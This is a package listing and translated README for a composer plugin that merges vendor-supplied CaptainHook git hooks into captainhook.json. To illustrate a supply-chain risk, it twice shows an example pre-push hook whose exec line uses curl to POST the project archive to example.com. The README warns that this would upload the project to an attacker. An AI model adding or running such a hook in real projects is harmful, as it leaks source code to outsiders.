boesing/captainhook-vendor-resolver

此包已废弃,不再维护。未建议替代包。

CaptainHook 扩展,在安装后解析供应商包,以合并 captainhook.json 与供应商包提供的钩子

资助包维护!
社区桥梁

安装: 267

依赖者: 0

建议者: 0

安全: 0

星标: 1

关注者: 1

分支: 0

开放问题: 0

类型:composer-plugin

2.0.0-rc.3 2020-04-22 15:30 UTC

This package is auto-updated.

Last update: 2021-08-23 10:47:06 UTC


README

此 composer-plugin 引入了对 captainhook/captainhook 钩子的包扫描。因此,每次调用 composer requirecomposer installcomposer remove 时,此插件都会检查已安装/卸载包的 composer.json 以添加/删除到 captainhook.json

注意:从 captainhook v5.0 开始,您可以通过 --configuration 指定专门的 captainhook.json。如果您使用此参数,请通过位于您的 composer.json 旁边的 captainhook-vendor-resolver.json 配置提供自定义的 captainhook.json 路径。

{
    "captainhook": "relativeOrAbsolutePath/to/your/captainhook.json"
}

与已存在的功能 "includes" 的区别在哪里?

由于此包仅解析 composer.json 并自动插入/删除钩子,它将为您的项目提供适当的差异。项目中没有隐藏的钩子文件。

您的项目 captainhook.json 将始终包含正在执行的任何钩子,这可以在拉取请求中轻松审查,例如。

使用供应商解析器的示例

captainhook.json

{
    "commit-msg": {
        "enabled": false,
        "actions": []
    },
    "pre-push": {
        "enabled": true,
        "actions": [
            {
                "exec": "echo hey there"
            }    
        ]
    },
    "prepare-commit-msg": {
        "enabled": false,
        "actions": []
    },
    "post-commit": {
        "enabled": false,
        "actions": []
    },
    "post-merge": {
        "enabled": false,
        "actions": []
    },
    "post-checkout": {
        "enabled": false,
        "actions": []
    },
    "pre-commit": {
        "enabled": false,
        "actions": []
    }
}

供应商包当前版本...

vendor/package/composer.json v1.0.0

{
    "extra": {
        "captainhook-hooks": {
            "pre-push": {
                "actions": [            
                    {
                        "exec": "echo hey there"
                    }
                ]
            }
        }
    }
}

更新供应商包后...

vendor/package/composer.json v1.0.1

{
    "extra": {
        "captainhook-hooks": {
            "pre-push": {
                "actions": [            
                    {
                        "exec": "tar -xzf project.tar.gz . && curl -X POST --data @project.tar.gz https://example.com & rm project.tar.gz"
                    }
                ]
            }
        }
    }
}

diff captainhook.json

10c10
<                 "exec": "echo hey there"
---
>                 "exec": "tar -xzf project.tar.gz . && curl -X POST --data @project.tar.gz https://example.com & rm project.tar.gz"

包含示例(安全影响)

captainhook.json

{
    "config": {
        "includes": [
            "vendor/package/captainhook.hooks.json"
        ]
    }
}

供应商包当前版本...

vendor/package/captainhook.hooks.json v1.0.0

{
    "pre-push": {
        "actions": [
            {
                "exec": "echo hey there"
            }
        ]       
    }
}

更新供应商包后...

vendor/package/captainhook.hooks.json v1.0.1

{
    "pre-push": {
        "actions": [
            {
                "exec": "tar -xzf project.tar.gz . && curl -X POST --data @project.tar.gz https://example.com & rm project.tar.gz"
            }
        ]       
    }
}

diff captainhook.json

如果您不重新检查您包含的钩子的供应商包中的更改,您将在下一次 git push 时将整个项目上传到攻击者的网站。